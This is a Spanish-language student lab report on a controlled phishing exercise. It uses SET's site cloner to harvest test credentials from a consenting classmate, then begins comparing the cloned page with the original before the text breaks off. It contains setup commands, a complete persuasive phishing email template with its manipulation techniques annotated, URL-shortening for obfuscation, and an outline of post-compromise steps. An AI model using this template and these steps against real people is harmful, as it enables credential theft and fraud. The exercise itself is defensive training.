PracticasCiberSeguridad
Práctica Nro. 11: Ingeniería Social
📊 Tabla de Identificación
| Apellido, Nombre | Cédula de Identidad | Nro. de Práctica | Fecha |
|---|---|---|---|
| Gil, Jesús | 30175126 | 11 | 5-12-2025 |
| Guilarte, Andrés | 30246084 | 11 | 5-12-2025 |
Grupo: 4
Requisitos Previos
Conocimientos
- Experiencia con línea de comandos en Linux
- Comprensión de protocolos HTTP/HTTPS
- Familiaridad con HTML y estructura de páginas web
- Conocimientos básicos de ingeniería social
Entorno Técnico
- Kali Linux (VM o instalación nativa)
- Social-Engineer Toolkit (SET) instalado
- Acceso a Internet para servicios de acortamiento de URL
- Cuenta de correo electrónico para envío de vectores de ataque
- Entorno de laboratorio controlado con víctima consentida
Consideraciones Éticas
ADVERTENCIA LEGAL: Esta práctica debe realizarse EXCLUSIVAMENTE en entornos de laboratorio controlados con autorización explícita de todos los participantes. La clonación de sitios web reales y el envío de correos de phishing sin consentimiento constituye un delito penal en la mayoría de jurisdicciones. El uso indebido de estas técnicas puede resultar en consecuencias legales graves, incluyendo cargos criminales por fraude electrónico, suplantación de identidad y acceso no autorizado a sistemas informáticos.
Contexto del Escenario
Como profesional de seguridad de la información, has sido contratado por una organización para evaluar la susceptibilidad de sus empleados a ataques de ingeniería social. Tu objetivo es ejecutar un ejercicio controlado de phishing que simule un ataque real, documentar el proceso técnico, y proporcionar un análisis forense detallado que permita a la organización implementar controles defensivos efectivos.
Este ejercicio te permitirá comprender no solo la mecánica del ataque, sino también las huellas digitales que deja, las limitaciones técnicas de las herramientas de clonación, y los indicadores de compromiso que los sistemas de defensa modernos pueden detectar.
**
Desarrollo de la Práctica
FASE 1: Configuración del Vector de Ataque con SET (10 minutos)
Objetivo de la fase
Configurar y desplegar un sitio web clonado utilizando Social-Engineer Toolkit para capturar credenciales en un entorno controlado.
Pasos a seguir
1.1. Inicialización de SET con privilegios elevados
sudo su
setoolkit
Explicación: SET requiere privilegios de root para vincular puertos privilegiados (80/443) y modificar configuraciones de red. Al ejecutar como superusuario, SET puede iniciar servidores web que escuchan en puertos estándar, aumentando la credibilidad del ataque al no requerir números de puerto no estándar en la URL.
1.2. Navegación al módulo de Credential Harvester
Desde el menú principal de SET, seleccione:
\1) Social-Engineering Attacks
\2) Website Attack Vectors
\3) Credential Harvester Attack Method
\2) Site Cloner
Explicación: El método “Credential Harvester” con “Site Cloner” automatiza la captura de credenciales mediante la clonación de páginas legítimas. SET inyecta JavaScript que intercepta el envío de formularios, captura los datos antes de que sean transmitidos, y luego redirige a la víctima al sitio legítimo para minimizar sospechas.
1.3. Configuración de la IP de postback
Enter the IP address for the POST back in Harvester/Tabnabbing [IP]: [TU_IP_KALI]
Contexto profesional: En un engagement real de Red Team, esta IP sería típicamente una infraestructura de comando y control (C2) con ofuscación adicional. Para este ejercicio, utilice la IP de su máquina Kali en la red local del laboratorio.
1.4. Especificación del objetivo de clonación
Enter the url to clone: https://www.linuxquestions.org
Análisis técnico: La selección de linuxquestions.org como objetivo es estratégica para este ejercicio educativo. Es un sitio con formularios de autenticación pero sin mecanismos anti-clonación agresivos. En escenarios reales, los atacantes seleccionan objetivos basándose en:
- Reconocimiento previo de servicios utilizados por la organización objetivo
- Sitios con alta tasa de autenticación (Office 365, Gmail, portales corporativos)
- Páginas sin protecciones avanzadas contra clonación **\
1.5. Verificación del servidor activo
SET iniciará automáticamente un servidor Apache en el puerto 80. Verifique que el servidor esté escuchando:
# En una nueva terminal
| netstat -tlnp | grep :80 |
Salida esperada:
tcp6 0 0 :::80 :::* LISTEN [PID]/apache2
Pregunta reflexiva: ¿Qué implicaciones de seguridad tiene ejecutar un servidor web en el puerto 80 sin HTTPS? ¿Cómo afecta esto a la credibilidad del ataque en entornos modernos donde HTTPS es omnipresente?
Respuesta:
Ejecutar un servidor web en HTTP (puerto 80) sin HTTPS representa una vulnerabilidad crítica que anula la credibilidad del ataque en entornos modernos. La transmisión sin encriptación expone todas las credenciales capturadas a interceptación por Man-in-the-Middle, y los navegadores modernos muestran advertencias prominentes (“No seguro”) que alertan inmediatamente a los usuarios. Además, sistemas de seguridad como EDR, gateways de correo y Safe Browsing de Google detectan fácilmente esta configuración, bloqueando conexiones a IPs desconocidas sobre HTTP. En 2025, cuando HTTPS es omnipresente (>95% del tráfico web), cualquier usuario con mínima conciencia de seguridad reconocerá que un sitio de “verificación de seguridad” sin HTTPS es una contradicción flagrante, reduciendo drásticamente la efectividad del ataque.
Aunque SET facilita la implementación rápida, los atacantes sofisticados implementan certificados SSL legítimos (mediante Let’s Encrypt o dominios typosquatting) para evadir estas defensas. La ausencia de HTTPS en este ejercicio lo convierte en una prueba de concepto educativa válida pero inefectiva en entornos reales con defenses actualizadas. Para mitigación efectiva, las organizaciones deben implementar MFA obligatorio, políticas de HTTPS requerido, entrenamiento continuo de usuarios, y sistemas EDR que detecten conexiones HTTP anómalas a sitios de autenticación.
FASE 2: Creación del Vector de Entrega y Ejecución del Ataque (8 minutos)
Objetivo de la fase
Construir un vector de entrega convincente utilizando técnicas de ingeniería social y ofuscación de URL para maximizar la tasa de éxito del ataque.
Pasos a seguir
2.1. Acortamiento y ofuscación de URL
Acceda a https://bitly.com y cree una cuenta gratuita si no tiene una.
URL original: http:///192.168.100.8
URL acortada: https://n9.cl/6h90ie
Análisis de técnica: El acortamiento de URL sirve múltiples propósitos en ataques de phishing:
- Ofuscación: Oculta la dirección IP real del servidor malicioso
- Credibilidad: Las URL cortas son comunes en comunicaciones legítimas
- Tracking: Servicios como Bitly proporcionan estadísticas de clics (útil para medir efectividad)
- Evasión: Dificulta el análisis estático de URLs por sistemas de seguridad
Limitación importante: Muchos sistemas de seguridad modernos expanden URLs acortadas antes de permitir el acceso. Bitly y servicios similares están en listas de observación de sistemas EDR y gateways de correo. **\
2.2. Construcción del pretexto de ingeniería social
Redacte un correo electrónico utilizando principios psicológicos de persuasión:
Ejemplo de correo con análisis de técnicas:
Para: [víctima_consentida@dominio.com]
Asunto: Acción Requerida: Verificación de Seguridad de Cuenta - Expira en 24h
Estimado usuario,
Nuestro equipo de seguridad ha detectado un intento de acceso no autorizado
a su cuenta desde una ubicación no reconocida (IP: 185.220.101.45 - Rusia).
Como medida preventiva, hemos bloqueado temporalmente su cuenta. Para
restaurar el acceso completo, debe verificar su identidad inmediatamente:
[ENLACE ACORTADO DE BITLY]
Si no completa esta verificación en las próximas 24 horas, su cuenta
será suspendida permanentemente por razones de seguridad.
Atentamente,
Equipo de Seguridad de LinuxQuestions
Análisis de técnicas de persuasión empleadas:
- Urgencia: ”Expira en 24h”, “inmediatamente”
- Autoridad: Firma como “Equipo de Seguridad”
- Miedo: ”suspendida permanentemente”
- Especificidad técnica: Inclusión de IP falsa aumenta credibilidad
- Legitimidad aparente: Uso de terminología técnica apropiada
2.3. Envío del vector y monitorización
Envíe el correo a:
- Su compañero de equipo (víctima consentida)
- Instructor/supervisor del ejercicio
Instrucciones para la víctima:
- Utilizar credenciales de prueba: usuario:phishing / pass:phishing123
- NO introducir credenciales reales bajo ninguna circunstancia
2.4. Captura de credenciales
Monitorice la terminal donde SET está ejecutándose. Cuando la víctima envíe el formulario, verá:
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: usuario=phishing
POSSIBLE PASSWORD FIELD FOUND: pass=phishing123
[*] WHEN YOU’RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT
Las credenciales también se almacenan en:
cat ~/.set/reports/[TIMESTAMP].log
Pregunta reflexiva: En un escenario real, ¿qué haría un atacante con estas credenciales? ¿Cuál sería la cadena de ataque posterior (lateral movement, privilege escalation)?
Respuesta:
Las credenciales capturadas son el punto de partida para una cadena de ataque multifase. El atacante primero verificaría su validez intentando autenticación en el portal legítimo de LinuxQuestions, luego aplicaría “credential stuffing” contra otros servicios comunes (Gmail, LinkedIn, GitHub, redes corporativas) bajo el supuesto de reutilización de contraseñas. Con acceso confirmado, el atacante buscaría información de valor en la cuenta (emails, perfiles, datos sensibles) y realizaría reconocimiento de la infraestructura corporativa si es empleado. El siguiente paso crítico es movimiento lateral: usando las credenciales para acceder a sistemas internos compartidos (intranets corporativas, VPNs, plataformas de colaboración como Slack/Teams), identificar otros usuarios y máquinas, y escalar privilegios explotando vulnerabilidades locales, misconfigurations de sudo, o servicios desprotegidos.
En un ataque sofisticado, el atacante implanataría persistencia mediante backdoors, modificaría políticas de seguridad, robería datos sensibles (IP, proyectos, códigos fuente), y eventualmente establecería acceso a largo plazo para exfiltración continua. El factor crítico es la velocidad: entre la captura de credenciales y la detección por SIEM hay una ventana de oportunidad de horas. Defensas clave contra esta cadena incluyen: MFA obligatorio (previene lateral movement incluso con credenciales válidas), sesiones limitadas por geolocalización/dispositivo, monitorización de logins anómalos, segmentación de red, y análisis de comportamiento de usuarios (detecta patrones de ataque post-compromiso).
FASE 3: Análisis Forense y Comparativo (12 minutos)
Objetivo de la fase
Realizar un análisis técnico detallado de las diferencias entre el sitio original y el clonado para identificar indicadores de compromiso y vectores de detección.
Pasos a seguir
3.1. Extracción del código fuente clonado
cd ~/.set/web_clone/
ls -lah
cp index.html ~/analisis_phishing/cloned_index.html
3.2. Obtención del código fuente original
cd ~/analisis_phishing/
┌──(root㉿kali)-[~/.set/web_clone]
└─# cd ~/.set/web_clone/
┌──(root㉿kali)-[~/.set/web_clone]
└─# ls -lah
total 120K
drwxr-xr-x 2 root root 4.0K Dec 5 08:40 .
drwxr-xr-x 3 root root 4.0K Dec 5 08:51 ..
-rw-r--r-- 1 root root 53K Dec 5 08:40 index.html
-rw-r--r-- 1 root root 54K Dec 5 08:40 index.html.bak
┌──(root㉿kali)-[~/.set/web_clone]
└─#
┌──(root㉿kali)-[~/.set/web_clone]
└─# cp index.html ~/analisis_phishing/cloned_index.html
cp: cannot create regular file '/root/analisis_phishing/cloned_index.html': No such file or directory
aca paso un error proseguimos
┌──(root㉿kali)-[~/.set/web_clone]
└─# mkdir ~/analisis_phishing/
┌──(root㉿kali)-[~/.set/web_clone]
└─# cp index.html ~/analisis_phishing/cloned_index.html
curl -s https://www.linuxquestions.org > original_index.html
3.3. Análisis diferencial de código HTML
diff -u original_index.html cloned_index.html > diferencias.txt
cat diferencias.txt
Elementos críticos a identificar en la salida de diff:
A. Modificación del atributo action del formulario
Original: